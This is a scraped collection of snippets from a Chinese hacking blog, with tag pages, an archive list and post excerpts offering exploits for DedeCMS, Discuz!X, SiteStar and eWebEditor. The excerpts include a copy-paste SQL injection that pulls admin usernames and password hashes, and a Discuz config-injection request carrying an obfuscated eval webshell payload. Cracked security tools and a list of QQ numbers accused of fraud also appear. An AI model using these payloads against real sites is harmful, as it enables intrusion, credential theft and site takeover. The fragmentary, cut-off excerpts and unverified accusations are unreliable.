disk.webshell.cc

webshell.cc

黑客 – WebShell'S Blog

http://www.webshell.cc/tag/heike

2012-03-2 撸过 99 次. 3月1日，几家反病毒公司同时收到了一种名为 Sharpei 的新型病毒复本，这种病毒基于微软最新型的计算机语言C#编写，它设计用于感染那些装有.Net系统的计算机。 反病毒公司Network Associates认为该病毒的危险程度仅为 低级 ，但表示这已是第二种试图对.Net系统产生危害的新型病毒。 Network Associates公司反病毒紧急事故应因小组的负责人文森特-古罗特表示 即便不使用C#语言，这种病毒也能工作，它试图对.Net进行攻击。 今年1月份，名为 Donut 的病毒就曾经试图对.Net的部分架构进行攻击，但微软后来否认这是一种.Net病毒。 至于 Sharpei [……]. 黑客曝联通 10010短信 漏洞 被指易遭诈骗利用. 2012-02-23 撸过 54 次. 昨日 2月21日 有 黑客. 每日经济新闻 记者昨日联系上了一位不愿意透露姓名的黑客，对方表示，一个名为 乌云 的安全网站于2月14日就提交了此漏洞。 2012-02-21 撸过 258 次. 2012-02-15 撸过 53 次. 2012-01-28 撸过 54 次.

webshell.cc

注入 – WebShell'S Blog

http://www.webshell.cc/tag/zhuru

通杀]dedecms plus/search.php 注入漏洞利用EXP. 2013-01-23 撸过 1,341 次. 没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。 Safe Alert: Request Error step 2! 2012-12-30 撸过 114 次. 2012-07-20 撸过 132 次. 下载:http:/ www.cnhww.com/down.asp? 8212;——————————————————————-. Dim action,searchkey,anclassid,jiage,selectnameanclassid=request("anclassid")searchkey=request("s[.]. Havij 1.152 Pro专业特别版. 2012-07-17 撸过 343 次. Havij 1.152 Pro，阿拉伯 黑客. 2012-05-1 撸过 116 次. If EnableStopInjection = True Then. Fy Inf = Split(Fy In, " "). 定义部份- -...

webshell.cc

安全 – WebShell'S Blog

http://www.webshell.cc/anquan

2016-07-16 撸过 1,742 次. MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)，剑心牛对MOF利用进行了分析，如下. Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式[……]. 2016-07-14 撸过 927 次. 1、初始化获取容器绝对路径错误如 原本路径是D: wooyun菜刀连接默认跳转到了 D: wooyun wooyun目录。 Page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%. 2016-06-14 撸过 1,578 次. Http:/ w[……]. 2015-09-9 撸过 868 次. 1660416619 1577758878 1691989898 986388338. 以上都是骗子的qq 厉害吧 骗我不多 就是几千块 可是终于被我查到骗子的qq了 希望以后别被骗 他是专门 卖网站的. 2015-08-23 撸过 741 次. A=config&#0...

webshell.cc

存档 – WebShell'S Blog

http://www.webshell.cc/archives

23: Kali2.0 正式发布. 28: DedeCMS 20140201 之前的5.7通杀. 08: K8大牛的C段旁注查询工具 V1.6. 02: 子域名检测大师 自由博客 专版. 14: burpsuite pro v1.5.11 破解版. 05: pangolin professinal edition 4.0.0.1293特别版. 20: DEDE 5.7 综合利用 getshell. 11: Struts2 S2-016/S2-017 exp整理. 10: shopex 4.8.5 api.php注入漏洞0day exp. 30: dedecms 躺着也中枪 爆重装漏洞. 30: dedecms最新版本修改任意管理员漏洞 附getshell exp. 08: Chrome 25被黑客攻破 Google发布紧急更新. 02: 匿名者 发布14GB的多家大型企业内部数据 希望借此提高安全隐患意识. 23: [通杀]dedecms plus/search.php 注入漏洞利用EXP. 30: Microsoft IE mshtml! 30: kingcms 5.0 漏洞. 11: mysql注入...

webshell.cc

PHP任意文件上传漏洞 – WebShell'S Blog

http://www.webshell.cc/4686.html

2015-04-18 撸过 592 次. 这个漏洞存在于php中一个非常常用的函数中 move uploaded files，开发者总是用这个函数来移动 上传. 的文件,这个函数会检查 被上传的文件是否是一个合法的文件(是否是通过 HTTP 的 post 机制上传的)，如果是合法的文件，则将它一定到指定目录中。 Move uploaded file ( string $filename , string $destination ). 代码地址 https:/ github.com/RandomStorm/DVWA/blob/master/vulnerabilities/upload/source/high.php. Uploaded name = $ FILES['uploaded']['name'];. Uploaded ext = substr($uploaded name, strrpos($uploaded name, '.') 1); $uploaded size = $ FILES['uploaded']['size'];.

webshell.cc

全球黑客势力分布实时监控之数据可视化 – WebShell'S Blog

http://www.webshell.cc/4665.html

2015-02-10 撸过 529 次. 此外它还提供相关数据的统计，比如攻击发起数量的国家排行，受攻击数量国家排行，以及攻击类型的排行，可以看到数据显示发起地前三位分别是 中国，美国和香港，受攻击排行分别是 美国，香港和台湾，而攻击方式的前三位为 ssh攻击，domain域名攻击, 微软数据库漏洞攻击 ms-sql-s ，完整统计如下图所示 此数据因时间而异。 数据监控地图 http:/ map.ipviking.com/. 全球黑客势力分布实时监控之数据可视化:http:/ www.webshell.cc/4665.html. 2012-02-10 - 用户称iTunes账户失窃 苹果返还被盗金额. 2012-02-06 - phpcmsV9 SQL注射与列目录漏洞详解. 2011-08-30 - WordPress插件SH Slideshow. 2012-03-05 - 赛门铁克称黑客组织Anonymous被黑 后者否认.

webshell.cc

Adminer 适合扒裤子的mysql工具 – WebShell'S Blog

http://www.webshell.cc/4620.html

2014-12-23 撸过 3,746 次. 支持PHP4.3 ，MySQL 4.1 以上的版本。 10 管理事件和表格分区 MySQL5.1才支持。 Adminer v3.7.0.rar. 1646 KB, 325 次). Adminer 适合扒裤子的mysql工具:http:/ www.webshell.cc/4620.html. 2011-08-21 - Hishop5.4和5.4.1 漏洞利用.

webshell.cc

DedeCMS 20140201 之前的5.7通杀 – WebShell'S Blog

http://www.webshell.cc/4655.html

DedeCMS 20140201 之前的5.7通杀. 2015-01-28 撸过 816 次. 50000select*/1,2,3,(select. CONCAT(0x7c,userid,0x7c,pwd) from `%23@ admin`. Limit 0,1),5,6,7,8,9%23@`'` & FILES[type][name]=1.jpg& FILES[type]. DedeCMS 20140201 之前的5.7通杀:http:/ www.webshell.cc/4655.html. Laquo; Quarks PwDump各种32位64系统获取HASH. 2013-01-23 - [通杀]dedecms plus/search.php 注入漏洞利用EXP. 2012-02-14 - dedecms xss 通杀所有版本 dede 5.6 dede 5.7 直接获取webshell. 2011-12-30 - dedecms 5.7 – 游客无限刷顶踩数值. 复制 粘贴 就这么简单 必须是20140201之前的 data/admin/ver.txt 查看版本.

webshell.cc

上传 – WebShell'S Blog

http://www.webshell.cc/tag/shangchuan

建站之星 SiteStar V2.0 任意文件上传漏洞. 2012-03-12 撸过 75 次. 影响版本 SiteStar V2.0 beta. 官方网站 http:/ www.sitestar.cn/. 漏洞产生在 /script/multiupload/uploadify.php 文件. Empty($ FILES) { $tempFile = $ FILES['Filedata']['tmp na[.]. 2011-12-30 撸过 86 次. Form action=”http:/ www.badguest.cn /ewebeditor/upload.asp? Action=save&type=IMAGE&style=standard1″ method=post name=myform enctype=”multipart/form-data”. Input type=hidden na[……]. 2011-12-17 撸过 220 次. 2011-11-14 撸过 421 次. 2011-11-12 撸过 116 次. 2011-08-21 撸过 133 次.

webshell.cc

Discuz!X系列转换工具任意代码写入漏洞 getshell – WebShell'S Blog

http://www.webshell.cc/4664.html

2015-02-10 撸过 564 次. 有些论坛 可能路径放在其它目录 没有utility 直接convert等. 如果看到 转换程序的 data/ 目录不可写 就不用试了 不成功. A=config&source=d7.2 x2.0. A=config&source=d7.2 x2.0&submit=yes&newconfig%5btarget%5d%5bdbhost%5d=localhost&newconfig%5baaa%0d%0a%0d%0aeval(Chr(101%29.Chr%28118%29.Chr%2897%29.Chr%28108%29.Chr%2840%29.Chr%2834%29.Chr%2836%29.Chr%2895%29.Chr%2880%29.Chr%2879%29.Chr%2883%29.Chr%2884%29.Chr%2891%29.Chr%28116%29.Chr%28111%29.Chr%28109%29.Chr%2893...经检测 DZ X1.5 2.0 3.1 等均成功GetShell. Laquo; DedeCMS 20140201 之前的5.7通杀.